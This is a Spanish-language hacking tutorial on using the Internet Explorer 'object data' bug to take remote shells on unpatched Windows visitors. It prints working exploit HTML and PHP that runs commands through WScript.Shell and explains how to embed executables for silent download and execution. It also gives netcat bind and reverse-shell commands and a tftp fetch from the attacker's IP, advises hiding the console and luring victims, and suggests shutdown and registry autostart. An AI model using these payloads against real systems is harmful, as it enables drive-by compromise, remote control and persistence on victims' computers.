Obtención de shells remotos con el bug Object Data (Internet Explorer)
Bug Object Data (Internet Explorer)

Intenciones: Con este pequeño manual pretendo mostrar algunas formas de obtener shells del sistema, a través del bug object data de Internet Explorer. Todos los ejemplos han sido realizados, suponiendo que el visitante de las páginas use un SO con plataforma NT (XP/2000/NT/2003), que no tengan parcheado este bug, y que no dispongan de Firewall.
El bug fue descubierto por el grupo eEye Digital Security. http://www.eeye.com/html/Research/Advisories/AD20030820.html
Más información acerca del fallo de seguridad: http://www.hispasec.com/unaaldia/1778

Según la página explicativa de eEye, un usuario normal debía hacer una péticion HTTP de la página maliciosa del siguiente modo:

Petición HTTP del cliente:
<html>
...
<object data="www.server.com/maliciosa.html"></object>
<html>

Y el servidor responder de la siguiente forma:

Respuesta del servidor:
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Lenght: 191

<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmd.exe /k echo hola");
</script>
</html>

Con esto nosotros, al visitar dicha página obtendríamos algo así:



Ya que la linea "wsh.Run("cmd.exe /k echo hola");" ejecuta la consola (cmd.exe) y le pasa el comando "echo", con la variable "hola". Sería equivalente a poner "cmd.exe /k echo hola" en Inicio Ejecutar.

Hasta ahora todo va correctamente, pero si nos fijamos en una parte de la respuesta del servidor vemos esto: "Content-Type: application/hta", mientras que un servidor normal siempre nos iba a responder "Content-Type: text/html", por lo que la ejecución del código no sería satisfactoria.

Una solución sencilla es añadir una cabecera en a la url maliciosa que cambie el content type, como por ejemplo esta de php: "<?php header("Content-type: application/hta"); ?>". Por lo tanto nuestra url maliciosa pasará a tener extensión php en vez de htm o html para que pueda cambiar el content type correctamente.
Comenzemos con un ejemplo:

Página Prueba.htm

<span datasrc="#oExec"
datafld="exploit"
dataformatas="html"></span>
<xml id="oExec">
   <security>
    <exploit>
     <![CDATA[
     <object id="oFile"data="urlmaliciosa.php"></object>
     ]]>
    </exploit>
   </security>
</xml>

Página urlmaliciosa.php

<?php header("Content-type: application/hta"); ?>
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language=vbs>
    Set shell=CreateObject("WScript.Shell")
    shell.run("cmd.exe /k echo Hola")
</script>
</html>


Con estas dos páginas subidas en un servidor que soporte php (lycos,iespana,...) y llamando a Prueba.htm, habremos ejecutado el comando "echo hola" en nuestro sistema de forma transparente.
Como podreis imáginar, el bug no se limita únicamente a la ejecución del comando "echo", si no a todos los comandos de la consola.

Visto por encima el funcionamiento del fallo de seguridad, pasaremos a algo "mas gordo", la descarga y ejecución de programas. Este paso consiste en incrustar el archivo a descargar en el php final en forma hexadecimal, cambiando los valores "0" por "y" y "FF" por "z". Después un script escrito en vbs (Visual Basic Script, al igual que en la ejecución de comandos) se encargará de leer el fichero en hexadecimal, guardarlo en el disco duro, y ejecutarlo. Para hacer todos estos pasos he creado un generador específico para este bug, ya que puede resultar pesado crear estas páginas.
Con el podremos hacer básicamente tres cosas: Descarga y ejecución de archivos, comandos de consola, y ambas cosas.

Caputra del programa:



Lo primero que vamos a hacer, es un ejemplo con netcat de cómo podríamos obtener la shell de un visitante. Podemos hacerlo de dos formas, haciendo que el visitante se conecte a vosotros, o que vosotros o conecteis a el. Para conectaros a el, necesitareis saber su IP, la podeis averiguar, de varios modos, ya que al entrar a la página infectada hace una petición con su IP de dicha página. (Un script en php que guarde en un txt la ip, los logs de acceso del server, contadores de visitas gratuitos, etc).
Para poner un netcat a la escucha (recibir conexiones entrantes), debemos pasarle como parámetros de inicialización el "-l -p puerto" y para que de la shell al conectarse a él, debemos poner "-e cmd.exe", por lo que si lo ejecutamos así: "nc -l -p 2525 -e cmd.exe", se pondrá a la escucha por el puerto 2525, y cuando alguien se conecte a él ejecutará cmd.exe, dandonos así la consola.

Llevandolo a la práctica con el generador...

Como hemos dicho, vamos poner el netcat a la escucha para que al conectarnos nos de shell, pues en el programa quedaría algo así:



Hemos seleccionado el archivo a incrustar "Archivo:", para este ejemplo el netcat, que en mi caso está en D:\nc.exe. En "Descargar a:" está puesta la ruta completa dónde se le descargará el archivo al visitante de la página. Es importante poner la ruta completa, no algo como "C:\Windows\". En "Guardar como:" simplemente está la ruta de la página a generar. Y por último y más importante, está "Comandos:" que contiene los comandos de ejecución para el netcat, que en este caso le pone a la escucha por el puerto 2525 para dar una shell.
Para conectar a esta shell, tan sólo es necesario conocer la ip del navegante, y ejecutando nuestro netcat así "nc IP 2525" obtendremos la shell del sistema.
El puerto puede ser cambiado por cualquier otro siempre y cuando no esté ocupado.
También es importante tener activada la opción "Ejecutar oculto" ya que si no estuviese, al navegante se le abriría la consola con el netcat siendo visible, por lo que podría cerrarlo sin mayores problemas.
Una vez lo tengamos configurado más o menos como se muestra en la imágen, procederemos a generar la página, pulsando sobre "Generar página". Cuando haya terminado, habrá generado dos páginas (en este caso D:\nc.php y D:\nc.html) donde hayais elegido.
Esas dos páginas serán las que haya que subir a un servidor que soporte php. Es importante que siempre se ejecute el html (En iespana sería algo así http://www.iespana.es/misitioweb/nc.html) ya que éste es el que se encarga de abrir el php con el "object data".
Una vez estemos en la página html, se nos abrirá un popup del php que descargará y ejecutará el netcat en el equipo del visitante.

Para que él se conecte a nosotros...

Tan solo habrá que modificar la casilla de comandos, por estos otros: "mi_ip mi_puerto -e cmd.exe". Nosotros en nuestro sistema deberemos tener en este caso un netcat a la escucha con los siguientes parámetros: "nc -l -p mi_puerto". De este modo, cuando la página sea visitada, se descargará un netcat, y este conectará con nosotros dándonos su shell.
Este método tiene una ventaja sobre el anterior, y es que la conexión que se realiza por parte del navegante es saliente, pudiendo así saltarse LANS y algunos Firewalls, pero por el contrario se expone la IP del atacante en el fuente del php.

Quizás este método parezca bueno y eficaz, pero tiene un problema, y es el tamaño del php generado, y es que al pasarlo a hexadecimal casi duplica el tamaño del archivo original, corriendo el riesgo de que si la página no es del todo entretenida (por defecto saldrá siempre blanco) cierre el popup antes de que le diese tiempo a descargarse y ejecutarse. Para agravar un poco la situación, es recomendable pasarle siempre el UPX al ejecutable original o cualquier otro compresor de ejecutables, para así reducir al mínimo el tamaño de descarga.

Hecha esta anotación vamos a ver un método con el que descargaremos un netcat con menos de medio KB en página web.
Esta vez, vamos a seleccionar la opción de "Sólo Consola", ponemos la ruta dónde lo queremos guardar, y en la parte de comandos de consola, vamos a poner lo siguiente: "tftp -i mi_ip GET nc.exe C:\Windows\nc.exe"

Explicación...

El programa tftp que trae windows, es un cliente que sirver para la transferencia de archivos a través de internet. Ese comando hace lo siguiente "-i" Establece el modo de transferencia binario; "mi_ip" pues eso, nuestra ip; "GET" pide un archivo al servidor remoto; "nc.exe" pide el nc.exe; "C:\Windows\nc.exe" es el lugar dónde va a ser transferido.
Y ahora os preguntareis qué cual es ese servidor remoto, pero como es obvio, descubrís que sois vosotros.

Haciendo de servidor TFTP

Para hacer de servidor tftp usaremos el programa "TFTPD32i". Una vez lo tengamos ejecutado tomará un aspecto como este:



Ahora meteremos el nc.exe en la carpeta del TFTP32i, de modo que así cuando el navegante haga el GET, encuentre el nc.exe. Y ahora que tenemos el servidor corriendo con el netcat en su carpeta y puesto el comando "tftp -i mi_ip GET nc.exe C:\Windows\nc.exe" damos un intro en comandos de consola y ponemos este otro comando: "nc mi_ip mi_puerto -e cmd.exe". Como ya sabeis, es necesario tener el netcat a la escucha como se dijo antes, pero si por el contrario preferís que se ponga a la escucha en el ordenador del navegante, ponemos "nc -l -p puerto -e cmd.exe".

Ya sólo queda generar la página y subirla, y por supuesto, que alguien la visite.

Viendo esta técnica en imágenes... (Para mí la mejor)

Ponemos un netcat a la escucha...



Ejecuto el TFTP32i...



Generamos las páginas...



Y las subimos, se la decimos a alguien para que "pique", y esperando un poco... obtenemos esto:

Navegante descargando el netcat...



Cuando termine, miramos el netcat y... qué vemos¿?



La shell del navegante!!


Como este habrá muchos más métodos de conseguir una shell, que nos permitirán hacernos con el control del sistema :D

Echandole imaginación, también podríamos poner el comando "SHUTDOWN" para apagarle el ordenador, usar el "REG ADD" para que el programa tenga autoarranque,etc.

Salu2! IsAhT